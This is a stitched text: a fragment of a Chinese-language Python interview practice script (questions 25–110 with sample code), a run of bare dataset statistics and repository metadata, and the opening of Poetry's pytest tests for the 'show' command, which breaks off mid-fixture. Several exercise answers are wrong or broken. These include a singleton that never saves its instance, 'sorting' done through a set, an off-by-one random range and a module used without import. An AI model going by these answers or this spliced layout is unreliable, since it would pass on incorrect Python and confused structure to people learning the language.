type(test24_list1)) test24_dict2 = dict(test24_list1) print(test24_dict2, type(test24_dict2)) # 25 利用collections库的Counter方法统计字符串每个单词出现的次数"kjalfj;ldsjafl;hdsllfdhg;lahfbl;hl;ahlf;h" print('25 题。。。。') import collections test25_str1 = 'kjalfj;ldsjafl;hdsllfdhg;ldsjafl;gehr;lahfbl;ldsjafl;hl;ahlf;h' test25_counter = collections.Counter(test25_str1.split(';')) print(test25_counter, type(test25_counter)) print(dict(test25_counter)) # 26 正则 # 27 filter方法求出列表所有奇数并构造新列表，a = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10] """ filter函数用于过滤序列，过滤掉不符合条件的元素，返回有符合元素组成的新列表(迭代器) filter(function,iterable) """ print('27题。。。。') test27_list1 = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10] test27_iterable = filter(lambda x: x % 2 == 1, test27_list1) print(list(test27_iterable)) # 28 列表推导式求列表所有奇数并构造新列表，a = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10] print('28 列表推导式求列表所有奇数并构造新列表，a = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]') test28_list1 = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10] test28_list2 = [x for x in test28_list1 if x % 2 == 1] print(test28_list2) # 29 正则re.complie作用 print('29 正则re.complie作用') print('re.complie 是将正则表达式编译成一个对象，加快速度，并重复使用') import re test29_recompile = re.compile(r'^(\d{3})-(\d{3,8})$') test29_a = test29_recompile.match('010-123456').groups() test29_b = test29_recompile.match('202-458483').groups() print(test29_a, test29_b) # 30 a=（1，）b=(1)，c=("1") 分别是什么类型的数据？ print('30 a=（1，）b=(1)，c=("1") 分别是什么类型的数据？') print('a=（1,)的类型是元组，', type((1,))) print('b=(1)的类型是数字', type((1))) print('c=("1")的类型是字符串', type(('1'))) # 31 两个列表[1,5,7,9]和[2,2,6,8]合并为[1,2,2,3,6,7,8,9] """ extend yu append 都可以在列表后面增加元素 extend:参数为可迭代对象，是将迭代对象的每一项挨个增加到原有列表队尾 append:参数为object，是将obj直接当做一个项增加到到列表队尾 """ print('31 两个列表[1,5,7,9]和[2,2,6,8]合并为[1,2,2,3,6,7,8,9]') test31_list1 = [1, 5, 7, 9] test31_list2 = [2, 2, 6, 8] test31_list1.extend(test31_list2) test31_list1.sort() print(test31_list1) test31_list1.append(test31_list2) print(test31_list1) # 32 用python删除文件和用linux命令删除文件方法 print('32 用python删除文件和用linux命令删除文件方法') print(f'python方法：os.remove') print(f'linux:rm') # 33 log日志中，我们需要用时间戳记录error,warning等的发生时间，请用datetime模块打印当前时间戳 “2018-04-01 11:38:54” print('33 log日志中，我们需要用时间戳记录error,warning等的发生时间，请用datetime模块打印当前时间戳 “2018-04-01 11:38:54”') import datetime # strftime 时分秒(H M S)都要大写 test32_str1 = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S') print(test32_str1) # 33 数据库优化查询方法 # 34 请列出你会的任意一种统计图(条形图，折线图等)绘制的开源库，第三方也行 print('34 请列出你会的任意一种统计图(条形图，折线图等)绘制的开源库，第三方也行') print('pyecharts', 'matplotlib') # 35 写一段自定义异常代码 print('35 写一段自定义异常代码') def def35(): try: raise IndexError('测试测试') except IndexError as i: print(i) def35() # 36 正则表达式匹配中，(.*)和(.*?)匹配的区别？ print('36 正则表达式匹配中，(.*)和(.*?)匹配的区别？') print('(.*) 是贪婪匹配，尽可能多的往后面匹配') print('(.*？) 非贪婪匹配，尽可能少的匹配') import re test36_str = '<a>哈哈</a><a>呵呵</a>' test36_re1 = re.findall("<a>(.*)</a>", test36_str) test36_re2 = re.findall("<a>(.*?)</a>", test36_str) print(test36_re1) print(test36_re2) # 38 简述Django的orm print('38 简述Django的orm') print('后续补充') # 39 [[1,2],[3,4],[5,6]]一行代码展开该列表，得出[1,2,3,4,5,6] print('39 [[1,2],[3,4],[5,6]]一行代码展开该列表，得出[1,2,3,4,5,6]') test39_list1 = [[1, 2], [3, 4], [5, 6]] # 使用列表推导式 for i in a test39_list2 = [j for i in test39_list1 for j in i] print(test39_list2) # 40 x="abc",y="def",z=["d","e","f"],分别求出x.join(y)和x.join(z)返回的结果 print('40 x="abc",y="def",z=["d","e","f"],分别求出x.join(y)和x.join(z)返回的结果') test40_str1 = 'abc' test40_str2 = 'def' test40_list1 = ['d', 'e', 'f'] print(test40_str1.join(test40_str2)) test40_str1 = 'abc' test40_str2 = 'def' test40_list1 = ['d', 'e', 'f'] print(test40_str1.join(test40_list1)) # 41 举例说明异常模块中try except else finally的相关意义 print('41 举例说明异常模块中try except else finally的相关意义') # 42 python中交换两个数值 print('42 python中交换两个数值') test42_i1, test42_i2 = 3, 4 print(test42_i1, test42_i2) test42_i1, test42_i2 = test42_i2, test42_i1 print(test42_i1, test42_i2) # 43 举例说明zip（）函数用法 print('43 举例说明zip（）函数用法') test43_list1 = [1, 2, 3, 4, 5] test43_list2 = ['a', 'b', 'c', 'd', 'e'] test43_res1 = zip(test43_list1, test43_list2) print(list(test43_res1)) # 44 a="张明 98分"，用re.sub，将98替换为100 print('44 a="张明 98分"，用re.sub，将98替换为100') test44_str1 = "张明 98分" # 45 写5条常用sql语句 # 46 a="hello"和b="你好"编码成bytes类型 print('46 a="hello"和b="你好"编码成bytes类型') test46_str1 = "hello" test46_str2 = "你好" print(test46_str1.encode()) print(test46_str2.encode(encoding='utf-8')) # 47 [1,2,3]+[4,5,6]的结果是多少？ print('47 [1,2,3]+[4,5,6]的结果是多少？') test47_list1 = [1, 2, 3] test47_list2 = [4, 5, 6] # +与extend相同 print(test47_list1 + test47_list2) test47_list1.extend(test47_list2) print(test47_list1) # 48 提高python运行效率的方法 print('48 提高python运行效率的方法') print(r'使用生成器，节约内存') print(r'循环代码优化，避免过多重复代码') print(r'多线程，多进程，协程') print(r'多个判断，命中率高的放到最前面') # 49 简述mysql和redis区别 print('49 简述mysql和redis区别') print('存储方式不一样，' 'mysql是关系数据库，数据主要固化到磁盘中' 'redis是以键值对存储的菲关系数据库，数据主要保存在内存中') # 50 遇到bug如何处理 # 51 正则匹配，匹配日期2018-03-20 # 52 list=[2,3,5,4,9,6]，从小到大排序，不许用sort，输出[2,3,4,5,6,9] print('52 list=[2,3,5,4,9,6]，从小到大排序，不许用sort，输出[2,3,4,5,6,9]') test52_list1 = [2, 3, 5, 4, 9, 6] test52_set = set(test52_list1) test52_list2 = list(test52_set) print(test52_list2) # 53 写一个单列模式 print('53 写一个单列模式') class Cls53(): _cls = None def __new__(cls, *args, **kwargs): if not cls._cls: _cls = super().__new__(cls) return cls._cls test53_t1 = Cls53() test53_t2 = Cls53() print(id(test53_t1)) print(id(test53_t2)) # 54 保留两位小数 test54_float = 3.67893 print('%0.2f' % test54_float) print(round(test54_float, 2)) # 55 求三个方法打印结果 # 56 列出常见的状态码和意义 # 57 分别从前端、后端、数据库阐述web项目的性能优化 print('57 分别从前端、后端、数据库阐述web项目的性能优化') # 58 使用pop和del删除字典中的"name"字段，dic={"name":"zs","age":18} print('58 使用pop和del删除字典中的"name"字段，dic={"name":"zs","age":18}') test58_dic1 = {"name": "zs", "age": 18, "sex": "woman", "height": "170"} test58_dic1.pop('age') print(test58_dic1) del test58_dic1["sex"] print(test58_dic1) # 59 列出常见MYSQL数据存储引擎 print('59 列出常见MYSQL数据存储引擎') # 60 计算代码运行结果，zip函数历史文章已经说了，得出[("a",1),("b",2)，("c",3),("d",4),("e",5)] print('60 计算代码运行结果，zip函数历史文章已经说了，得出[("a",1),("b",2)，("c",3),("d",4),("e",5)]') # 61 简述同源策略 print('61 简述同源策略') print('协议相同(http https),域名相同，端口相同') # 62 简述 cookie和session的区别 print('62 简述 cookie和session的区别') # 63 简述多线程，多进程 print('63 简述多线程，多进程') # 64 简述any()和all()方法 print('64 简述any()和all()方法') print('any() 迭代器中有一个为真，即为真') print('all() 迭代器中全为真，即为真') # 65 IOError、AttributeError、ImportError、IndentationError、IndexError、KeyError、SyntaxError、NameError分别代表什么异常 print('65 IOError、AttributeError、ImportError、IndentationError、IndexError、KeyError、SyntaxError、NameError分别代表什么异常') print( 'IOError:输入输出异常', '\r\n', 'AttributeError:访问对象一个不存在的属性', '\r\n', 'ImportError:无法引入模块或者包，基本都是路径问题', '\r\n', 'IndentationError:语法错误，代码没有正确对齐', '\r\n', 'IndexError:下标索引超出限制', '\r\n', 'KeyError:视图访问字典中不存在的键', '\r\n', 'SyntaxError:Python代码逻辑语法出错，不能执行', '\r\n', 'NameError：使用了一个还未赋值的对象变量') # 66 python copy 和 deepcopy的区别 print('66 python copy 和 deepcopy的区别') print('copy:浅复制，引用数据复制的是引用地址') print('deepcopy：深复制，引用数据直接赋值数据本身') # 67 列出几种魔法方法并简要介绍用途 print('67 列出几种魔法方法并简要介绍用途') print('__new__') print('__init(self)__') print('__class__ 获取已知对象的类') print('__str__ 将对象转换成字符串') print('__del__ 对象调用结束以后，垃圾回收调用该魔法函数，来释放资源') print('__hash__ 返回哈希值') # 68 # 69 请将[i for i in range(3)] 改成生成器 print('69 请将[i for i in range(3)] 改成生成器') test69_iter2 = (i for i in range(10)) print(type(test69_iter2)) print(test69_iter2.__next__()) print(next(test69_iter2)) for x in test69_iter2: print(x) print(list(i for i in range(10))) print(tuple(i for i in range(10))) # 70 a = " hehheh ",去除首尾空格 print('70 a = " hehheh ",去除首尾空格') test70_str1 = " hehheh " print(test70_str1.strip()) # 71 举例sort和sorted对列表排序，list=[0,-1,3,-10,5,9] print('71 举例sort和sorted对列表排序，list=[0,-1,3,-10,5,9]') test71_list1 = [0, -1, 3, -10, 5, 9] test71_list2 = sorted(test71_list1) print(test71_list1, test71_list2) test71_list1.sort() print(test71_list1) # 72 对list排序foo = [-5,8,0,4,9,-4,-20,-2,8,2,-4],使用lambda函数从小到大排序 print('72 对list排序foo = [-5,8,0,4,9,-4,-20,-2,8,2,-4],使用lambda函数从小到大排序') test72_list1 = [-5, 8, 0, 4, 9, -4, -20, -2, 8, 2, -4] test72_gen1 = sorted(test72_list1, key=lambda x: x) print(test72_gen1) # 73 使用lambda函数对list排序foo = [-5,8,0,4,9,-4,-20,-2,8,2,-4]，输出结果为 [0,2,4,8,8,9,-2,-4,-4,-5,-20]，正数从小到大，负数从大到小 print('73 使用lambda函数对list排序foo = [-5,8,0,4,9,-4,-20,-2,8,2,-4]，输出结果为 [0,2,4,8,8,9,-2,-4,-4,-5,-20]，正数从小到大，负数从大到小') test73_list1 = [-5, 8, 0, 4, 9, -4, -20, -2, 8, 2, -4] test73_gen1 = sorted(test73_list1, key=lambda x: (x < 0, abs(x))) print(test73_gen1) test73_gen2 = sorted(test73_list1, key=lambda x: abs(x)) print(test73_gen2) # 74 列表嵌套字典的排序，分别根据年龄和姓名排序 print('74 列表嵌套字典的排序，分别根据年龄和姓名排序') test74_list1 = [{"name": "zs", "age": 19}, {"name": "ll", "age": 54}, {"name": "wa", "age": 17}, {"name": "df", "age": 23}] test74_gen1 = sorted(test74_list1, key=lambda x: x["name"]) test74_gen2 = sorted(test74_list1, key=lambda x: x["age"]) print(test74_gen1) print(test74_gen2) # 75 列表嵌套元组，分别按字母和数字排序 print('75 列表嵌套元组，分别按字母和数字排序') test75_tuple1 = [('sz', 13), ('ab', 24), ('ed', 56), ('hi', 12)] test75_gen1 = sorted(test75_tuple1, key=lambda x: x[0], reverse=True) test75_gen2 = sorted(test75_tuple1, key=lambda x: x[1], reverse=True) print(test75_gen1) print(test75_gen2) # 76 列表嵌套列表排序，年龄数字相同怎么办？ print('76 列表嵌套列表排序，年龄数字相同怎么办？') test76_list1 = [('sz', 13), ('ab', 24), ('ed', 56), ('hi', 12), ('hr', 24), ('as', 24), ] # 只针对数字排序 test76_gen1 = sorted(test76_list1, key=lambda x: (x[1])) # 针对数字排序，相同的时候，再针对字母排序 test76_gen2 = sorted(test76_list1, key=lambda x: (x[1], x[0])) print(test76_gen1) print(test76_gen2) # 77 根据键对字典排序(方法1，zip函数) print('77 根据键对字典排序(方法1，zip函数)') test77_dict1 = {'name': 'zhangsan', 'sex': 'man', 'city': 'bj'} test77_list1 = zip(test77_dict1.keys(), test77_dict1.values()) test77_gen1 = sorted(test77_list1, key=lambda x: x[0]) test77_dict2 = {x[0]: x[1] for x in test77_gen1} print(test77_dict2) # 78 根据键对字典排序(方法2，不用zip函数) print('78 根据键对字典排序(方法2，不用zip函数)') test78_dict1 = {'name': 'zhangsan', 'sex': 'man', 'city': 'bj'} print(type(test78_dict1.items()), ':', test78_dict1.items()) # 老写法 # test78_list2 = [(x, y) for x, y in test78_dict1.items()] # test78_gen1 = sorted(test78_list2, key=lambda x: x[0]) # 新写法 test78_dict1本来就是可迭代对象，不需要在转换为list test78_gen1 = sorted(test78_dict1.items(), key=lambda x: x[0]) test78_dict2 = {x[0]: x[1] for x in test78_gen1} print(test78_dict2) # 79 列表推导式字典推导式生成器 print('79 列表推导式字典推导式生成器') test79_list1 = [i for i in range(10)] print('列表推导式', test79_list1) test79_dic1 = {i: random.randint(11, 20) for i in range(1, 10)} print('字典推导式', test79_dic1) test79_gen1 = (i for i in range(10)) print('生成器', test79_gen1) print('生成器具体的值', list(test79_gen1)) # 80 最后出一道检验题目，根据字符串长度排序，看排序是否灵活运用 print('80 最后出一道检验题目，根据字符串长度排序，看排序是否灵活运用') test80_list1 = ['ab', 'abc', 'a', 'jekg'] # 长度降序排序 test80_list2 = sorted(test80_list1, key=lambda x: len(x), reverse=True) print(test80_list2) test80_list1 = ['ab', 'abc', 'a', 'jekg'] test80_list1.sort(key=len, reverse=True) print(test80_list1) # 81 举例说明SQL注入和解决办法 print('81 举例说明SQL注入和解决办法') # 82 s="info:xiaoZhang 33 shandong",用正则切分字符串输出['info', 'xiaoZhang', '33', 'shandong'] # 83 正则匹配以http://163.com结尾的邮箱 # 84 递归求和 print('84 递归求和') def deftest84(num): counts = 0 if num == 1: return num else: counts = num + deftest84(num - 1) return counts test84_int = deftest84(10) print('递归求值', test84_int) # 85 python字典和json字符串相互转化方法 print('85 python字典和json字符串相互转化方法') import json # 核心是json模块的 drmps 和 loads 函数功能 test85_dict1 = {'name': 'zhangsan', 'sex': 'man', 'city': 'bj'} test85_str1 = json.dumps(test85_dict1) print('字典转字符串：', type(test85_str1), test85_str1) test85_dict2 = json.loads(test85_str1) print('字符串转字典：', type(test85_dict2), test85_dict2) # 86 MyISAM 与 InnoDB 区别 print('86 MyISAM 与 InnoDB 区别') # InnoDB支持事物，默认每一次执行，都包装成事物处理，更适合频繁涉及到修改的操作，安全性较高，支持外键。 # 自增长字段，必须只包含该字段 # 清空表时，是一行一行删除数据，效率比较慢 # 87 统计字符串中某字符出现次数 print('87 统计字符串中某字符出现次数') test87_str1 = 'fsagbreyhefsdgbvhgrehsagbrfhetsagvedghre' # str.counter可以统计某个字符出现的次数 print('a字符出现的次数：', test87_str1.count('a')) # collections三方库可以统计所有字符出现的次数 test87_dict1 = collections.Counter(test87_str1) print('每个字符出现的次数：', test87_dict1) # 88 字符串转化大小写 print('88 字符串转化大小写') test88_str1 = 'gegGEgeGERGH' print('小写为:', test88_str1.lower()) print('大写为:', test88_str1.upper()) # 89 用两种方法去空格 print('89 用两种方法去空格') test89_str1 = ' zhangsan is a woman ' test89_str2 = re.sub(r" +", ' ', test89_str1) print('正则替换：', '"' + test89_str2.strip() + '"') test89_list1 = test89_str1.split(' ') test89_str3 = ''.join(test89_list1) print('分隔替换：', '"' + test89_str3 + '"') # 90 # 91 简述python引用计数机制 print('91 简述python引用计数机制') class Cls91(): def __init__(self, name): self.name = name # 当类的示例引用为0时，才真的执行实例的删除操作，以及垃圾回收机制 def __del__(self): print('执行了删除操作') cls91_1 = Cls91('测试') cls91_2 = cls91_1 cls91_3 = cls91_1 print(id(cls91_1), id(cls91_2), id(cls91_3)) print('开始删除2') del (cls91_2) print('开始删除1') del (cls91_1) print('开始删除3') del (cls91_3) print('删除完成') # 92 int("1.4"),int(1.4)输出结果？ print('92 int("1.4"),int(1.4)输出结果？') # print(int('1.4')) print(int(1.4)) print(int(1.6)) # 93 列举3条以上PEP8编码规范 # 94 正则表达式匹配第一个URL # 95 正则匹配中文 # 96 简述乐观锁和悲观锁 print('96 简述乐观锁和悲观锁') # 乐观锁：基于查询大于更新的基准，增加一个递增变量，每次读取先读取递增变量，重新更新的时候，判断递增变量是否与之前查询到的一致，才更新 # 悲观锁：悲观态度，认为更新很容易出错，每次执行前，都加锁，只能同时一个操作操作数据 # 97 r、r+、rb、rb+文件打开模式区别 print('97 r、r+、rb、rb+文件打开模式区别') print('r 只读模式打开') print('w 写入模式打开') print('rw 读写模式打开') print('rb 字节流格式打开') print('a 追加模式打开') print('*+ 上述模式全部增加+,则变为读写模式') # 98 Linux命令重定向> 和 >> print('98 Linux命令重定向> 和 >>') print('> 表示输出到哪里，会覆盖原有文件') print('>> 表示追加，会追加到原有文件的末尾') # 99 正则 # 100 Python 传参数是传值还是传地址？ print('100 Python 传参数是传值还是传地址？') # python 以传递地址的方式进行参数传递 # 如果是不可变类型(数字，字符串，元组)应为变量不可修改，所以直接传递变量的地址 # 如果是可变类型，直接传入参数地址更有效 # 101 求两个列表的交集、差集、并集 print('101 求两个列表的交集、差集、并集') test101_list1 = [1, 2, 3, 4, 5, 6] test101_list2 = [2, 4, 6, 7, 9, 78] # 有两种方式 # 第一种是用set的集合运算法 # 第二种方式为set集合的方法 # 方式一 &:交集 |:并集 -:差集 print('交集：', list(set(test101_list1) & set(test101_list2))) print('并集：', list(set(test101_list1) | set(test101_list2))) print('差集：', list(set(test101_list1) - set(test101_list2))) print('方法二') print('交集：', list(set(test101_list1).intersection(set(test101_list2)))) print('并集：', list(set(test101_list1).union(set(test101_list2)))) print('差集：', list(set(test101_list1).difference(set(test101_list2)))) # 102 生成0-100的随机数 print('102 生成0-100的随机数') print(int(random.random() * 100)) print(random.randint(0, 101)) # 103 lambda匿名函数的好处 print('103 lambda匿名函数的好处') print('精简代码，省去了定义函数，省去了for循环') # 104 常见的网络传输协议 print('104 常见的网络传输协议') test104_list = ['http', 'https', 'tcp', 'udp', 'ftp'] print('常见的网络传输协议', test104_list) #105 单引号，双引号，三引号的用法 print('105 单引号，双引号，三引号的用法') print('单引号和双引号使用没有差别') print('三引号通常直接书写多行，通常用于大段文字') #106 python垃圾回收机制 print('106 python垃圾回收机制') print('python 垃圾回收机制，主要运用引用为0的操作，当一个对象的引用为0是，执行删除该引用对用的实体并回收操作') #107 #108 python中读取Excel文件的方法 print('108 python中读取Excel文件的方法') print('应用pandas库') #109 简述多线程多进程 #110 python正则中search和match

26.085569

114

0.6934

5,567

35,972

4.35926

0.142806

0.004862

0.005316

0.006099

0.94194

0.940292

0.938932

0.935759

0.934152

0.925663

0

0.117369

0.117008

35,972

1,378

115

26.104499

0.646664

0.195041

0

0.92439

0

0.021951

0.301414

0.131955

0

0.004878

1

0.019512

false

0

0.019512

0.002439

0.057317

0.57561

0

null

0

1

0

1

0

null

0

1

0

8

d5e69b53a0196ee4e57de6048b995cf1c1f2ccd3

53,806

py

Python

tests/console/commands/test_show.py

ITProKyle/poetry

f462b7f8c3885585a20cf631d6542049518195c3

[ "MIT" ]

null

tests/console/commands/test_show.py

ITProKyle/poetry

f462b7f8c3885585a20cf631d6542049518195c3

[ "MIT" ]

null

tests/console/commands/test_show.py

ITProKyle/poetry

f462b7f8c3885585a20cf631d6542049518195c3

[ "MIT" ]

null

from __future__ import annotations from typing import TYPE_CHECKING import pytest from poetry.core.packages.dependency_group import DependencyGroup from poetry.factory import Factory from tests.helpers import get_package if TYPE_CHECKING: from cleo.testers.command_tester import CommandTester from poetry.poetry import Poetry from poetry.repositories import Repository from tests.helpers import TestRepository from tests.types import CommandTesterFactory @pytest.fixture def tester(command_tester_factory: CommandTesterFactory) -> CommandTester: return command_tester_factory("show") def test_show_basic_with_installed_packages( tester: CommandTester, poetry: Poetry, installed: Repository ): poetry.package.add_dependency(Factory.create_dependency("cachy", "^0.1.0")) poetry.package.add_dependency(Factory.create_dependency("pendulum", "^2.0.0")) poetry.package.add_dependency( Factory.create_dependency("pytest", "^3.7.3", groups=["dev"]) ) cachy_010 = get_package("cachy", "0.1.0") cachy_010.description = "Cachy package" pendulum_200 = get_package("pendulum", "2.0.0") pendulum_200.description = "Pendulum package" pytest_373 = get_package("pytest", "3.7.3") pytest_373.description = "Pytest package" pytest_373.category = "dev" installed.add_package(cachy_010) installed.add_package(pendulum_200) installed.add_package(pytest_373) poetry.locker.mock_lock_data( { "package": [ { "name": "cachy", "version": "0.1.0", "description": "Cachy package", "category": "main", "optional": False, "platform": "*", "python-versions": "*", "checksum": [], }, { "name": "pendulum", "version": "2.0.0", "description": "Pendulum package", "category": "main", "optional": False, "platform": "*", "python-versions": "*", "checksum": [], }, { "name": "pytest", "version": "3.7.3", "description": "Pytest package", "category": "dev", "optional": False, "platform": "*", "python-versions": "*", "checksum": [], }, ], "metadata": { "python-versions": "*", "platform": "*", "content-hash": "123456789", "hashes": {"cachy": [], "pendulum": [], "pytest": []}, }, } ) tester.execute() expected = """\ cachy 0.1.0 Cachy package pendulum 2.0.0 Pendulum package pytest 3.7.3 Pytest package """ assert tester.io.fetch_output() == expected def _configure_project_with_groups(poetry: Poetry, installed: Repository) -> None: poetry.package.add_dependency(Factory.create_dependency("cachy", "^0.1.0")) poetry.package.add_dependency_group(DependencyGroup(name="time", optional=True)) poetry.package.add_dependency( Factory.create_dependency("pendulum", "^2.0.0", groups=["time"]) ) poetry.package.add_dependency( Factory.create_dependency("pytest", "^3.7.3", groups=["test"]) ) cachy_010 = get_package("cachy", "0.1.0") cachy_010.description = "Cachy package" pendulum_200 = get_package("pendulum", "2.0.0") pendulum_200.description = "Pendulum package" pendulum_200.category = "dev" pytest_373 = get_package("pytest", "3.7.3") pytest_373.description = "Pytest package" pytest_373.category = "dev" installed.add_package(cachy_010) installed.add_package(pendulum_200) installed.add_package(pytest_373) poetry.locker.mock_lock_data( { "package": [ { "name": "cachy", "version": "0.1.0", "description": "Cachy package", "category": "main", "optional": False, "platform": "*", "python-versions": "*", "checksum": [], }, { "name": "pendulum", "version": "2.0.0", "description": "Pendulum package", "category": "dev", "optional": False, "platform": "*", "python-versions": "*", "checksum": [], }, { "name": "pytest", "version": "3.7.3", "description": "Pytest package", "category": "dev", "optional": False, "platform": "*", "python-versions": "*", "checksum": [], }, ], "metadata": { "python-versions": "*", "platform": "*", "content-hash": "123456789", "hashes": {"cachy": [], "pendulum": [], "pytest": []}, }, } ) @pytest.mark.parametrize( ("options", "expected"), [ ( "", """\ cachy 0.1.0 Cachy package pytest 3.7.3 Pytest package """, ), ( "--with time", """\ cachy 0.1.0 Cachy package pendulum 2.0.0 Pendulum package pytest 3.7.3 Pytest package """, ), ( "--without test", """\ cachy 0.1.0 Cachy package """, ), ( "--without default", """\ pytest 3.7.3 Pytest package """, ), ( "--only default", """\ cachy 0.1.0 Cachy package """, ), ( "--default", """\ cachy 0.1.0 Cachy package """, ), ( "--no-dev", """\ cachy 0.1.0 Cachy package """, ), ( "--with time --without test", """\ cachy 0.1.0 Cachy package pendulum 2.0.0 Pendulum package """, ), ( "--with time --without default,test", """\ pendulum 2.0.0 Pendulum package """, ), ( "--only time", """\ pendulum 2.0.0 Pendulum package """, ), ( "--only time --with test", """\ pendulum 2.0.0 Pendulum package """, ), ( "--with time", """\ cachy 0.1.0 Cachy package pendulum 2.0.0 Pendulum package pytest 3.7.3 Pytest package """, ), ], ) def test_show_basic_with_group_options( options: str, expected: str, tester: CommandTester, poetry: Poetry, installed: Repository, ): _configure_project_with_groups(poetry, installed) tester.execute(options) assert tester.io.fetch_output() == expected def test_show_basic_with_installed_packages_single( tester: CommandTester, poetry: Poetry, installed: Repository ): poetry.package.add_dependency(Factory.create_dependency("cachy", "^0.1.0")) cachy_010 = get_package("cachy", "0.1.0") cachy_010.description = "Cachy package" installed.add_package(cachy_010) poetry.locker.mock_lock_data( { "package": [ { "name": "cachy", "version": "0.1.0", "description": "Cachy package", "category": "main", "optional": False, "platform": "*", "python-versions": "*", "checksum": [], }, ], "metadata": { "python-versions": "*", "platform": "*", "content-hash": "123456789", "hashes": {"cachy": []}, }, } ) tester.execute("cachy") assert [ "name : cachy", "version : 0.1.0", "description : Cachy package", ] == [line.strip() for line in tester.io.fetch_output().splitlines()] def test_show_basic_with_not_installed_packages_non_decorated( tester: CommandTester, poetry: Poetry, installed: Repository ): poetry.package.add_dependency(Factory.create_dependency("cachy", "^0.1.0")) poetry.package.add_dependency(Factory.create_dependency("pendulum", "^2.0.0")) cachy_010 = get_package("cachy", "0.1.0") cachy_010.description = "Cachy package" pendulum_200 = get_package("pendulum", "2.0.0") pendulum_200.description = "Pendulum package" installed.add_package(cachy_010) poetry.locker.mock_lock_data( { "package": [ { "name": "cachy", "version": "0.1.0", "description": "Cachy package", "category": "main", "optional": False, "platform": "*", "python-versions": "*", "checksum": [], }, { "name": "pendulum", "version": "2.0.0", "description": "Pendulum package", "category": "main", "optional": False, "platform": "*", "python-versions": "*", "checksum": [], }, ], "metadata": { "python-versions": "*", "platform": "*", "content-hash": "123456789", "hashes": {"cachy": [], "pendulum": []}, }, } ) tester.execute() expected = """\ cachy 0.1.0 Cachy package pendulum (!) 2.0.0 Pendulum package """ assert tester.io.fetch_output() == expected def test_show_basic_with_not_installed_packages_decorated( tester: CommandTester, poetry: Poetry, installed: Repository ): poetry.package.add_dependency(Factory.create_dependency("cachy", "^0.1.0")) poetry.package.add_dependency(Factory.create_dependency("pendulum", "^2.0.0")) cachy_010 = get_package("cachy", "0.1.0") cachy_010.description = "Cachy package" pendulum_200 = get_package("pendulum", "2.0.0") pendulum_200.description = "Pendulum package" installed.add_package(cachy_010) poetry.locker.mock_lock_data( { "package": [ { "name": "cachy", "version": "0.1.0", "description": "Cachy package", "category": "main", "optional": False, "platform": "*", "python-versions": "*", "checksum": [], }, { "name": "pendulum", "version": "2.0.0", "description": "Pendulum package", "category": "main", "optional": False, "platform": "*", "python-versions": "*", "checksum": [], }, ], "metadata": { "python-versions": "*", "platform": "*", "content-hash": "123456789", "hashes": {"cachy": [], "pendulum": []}, }, } ) tester.execute(decorated=True) expected = """\ \033[36mcachy \033[39m \033[39;1m0.1.0\033[39;22m Cachy package \033[31mpendulum\033[39m \033[39;1m2.0.0\033[39;22m Pendulum package """ assert tester.io.fetch_output() == expected def test_show_latest_non_decorated( tester: CommandTester, poetry: Poetry, installed: Repository, repo: TestRepository, ): poetry.package.add_dependency(Factory.create_dependency("cachy", "^0.1.0")) poetry.package.add_dependency(Factory.create_dependency("pendulum", "^2.0.0")) cachy_010 = get_package("cachy", "0.1.0") cachy_010.description = "Cachy package" cachy_020 = get_package("cachy", "0.2.0") cachy_020.description = "Cachy package" pendulum_200 = get_package("pendulum", "2.0.0") pendulum_200.description = "Pendulum package" pendulum_201 = get_package("pendulum", "2.0.1") pendulum_201.description = "Pendulum package" installed.add_package(cachy_010) installed.add_package(pendulum_200) repo.add_package(cachy_010) repo.add_package(cachy_020) repo.add_package(pendulum_200) repo.add_package(pendulum_201) poetry.locker.mock_lock_data( { "package": [ { "name": "cachy", "version": "0.1.0", "description": "Cachy package", "category": "main", "optional": False, "platform": "*", "python-versions": "*", "checksum": [], }, { "name": "pendulum", "version": "2.0.0", "description": "Pendulum package", "category": "main", "optional": False, "platform": "*", "python-versions": "*", "checksum": [], }, ], "metadata": { "python-versions": "*", "platform": "*", "content-hash": "123456789", "hashes": {"cachy": [], "pendulum": []}, }, } ) tester.execute("--latest") expected = """\ cachy 0.1.0 0.2.0 Cachy package pendulum 2.0.0 2.0.1 Pendulum package """ assert tester.io.fetch_output() == expected def test_show_latest_decorated( tester: CommandTester, poetry: Poetry, installed: Repository, repo: TestRepository, ): poetry.package.add_dependency(Factory.create_dependency("cachy", "^0.1.0")) poetry.package.add_dependency(Factory.create_dependency("pendulum", "^2.0.0")) cachy_010 = get_package("cachy", "0.1.0") cachy_010.description = "Cachy package" cachy_020 = get_package("cachy", "0.2.0") cachy_020.description = "Cachy package" pendulum_200 = get_package("pendulum", "2.0.0") pendulum_200.description = "Pendulum package" pendulum_201 = get_package("pendulum", "2.0.1") pendulum_201.description = "Pendulum package" installed.add_package(cachy_010) installed.add_package(pendulum_200) repo.add_package(cachy_010) repo.add_package(cachy_020) repo.add_package(pendulum_200) repo.add_package(pendulum_201) poetry.locker.mock_lock_data( { "package": [ { "name": "cachy", "version": "0.1.0", "description": "Cachy package", "category": "main", "optional": False, "platform": "*", "python-versions": "*", "checksum": [], }, { "name": "pendulum", "version": "2.0.0", "description": "Pendulum package", "category": "main", "optional": False, "platform": "*", "python-versions": "*", "checksum": [], }, ], "metadata": { "python-versions": "*", "platform": "*", "content-hash": "123456789", "hashes": {"cachy": [], "pendulum": []}, }, } ) tester.execute("--latest", decorated=True) expected = """\ \033[36mcachy \033[39m \033[39;1m0.1.0\033[39;22m\ \033[33m0.2.0\033[39m Cachy package \033[36mpendulum\033[39m \033[39;1m2.0.0\033[39;22m\ \033[31m2.0.1\033[39m Pendulum package """ assert tester.io.fetch_output() == expected def test_show_outdated( tester: CommandTester, poetry: Poetry, installed: Repository, repo: TestRepository, ): poetry.package.add_dependency(Factory.create_dependency("cachy", "^0.1.0")) poetry.package.add_dependency(Factory.create_dependency("pendulum", "^2.0.0")) cachy_010 = get_package("cachy", "0.1.0") cachy_010.description = "Cachy package" cachy_020 = get_package("cachy", "0.2.0") cachy_020.description = "Cachy package" pendulum_200 = get_package("pendulum", "2.0.0") pendulum_200.description = "Pendulum package" installed.add_package(cachy_010) installed.add_package(pendulum_200) repo.add_package(cachy_010) repo.add_package(cachy_020) repo.add_package(pendulum_200) poetry.locker.mock_lock_data( { "package": [ { "name": "cachy", "version": "0.1.0", 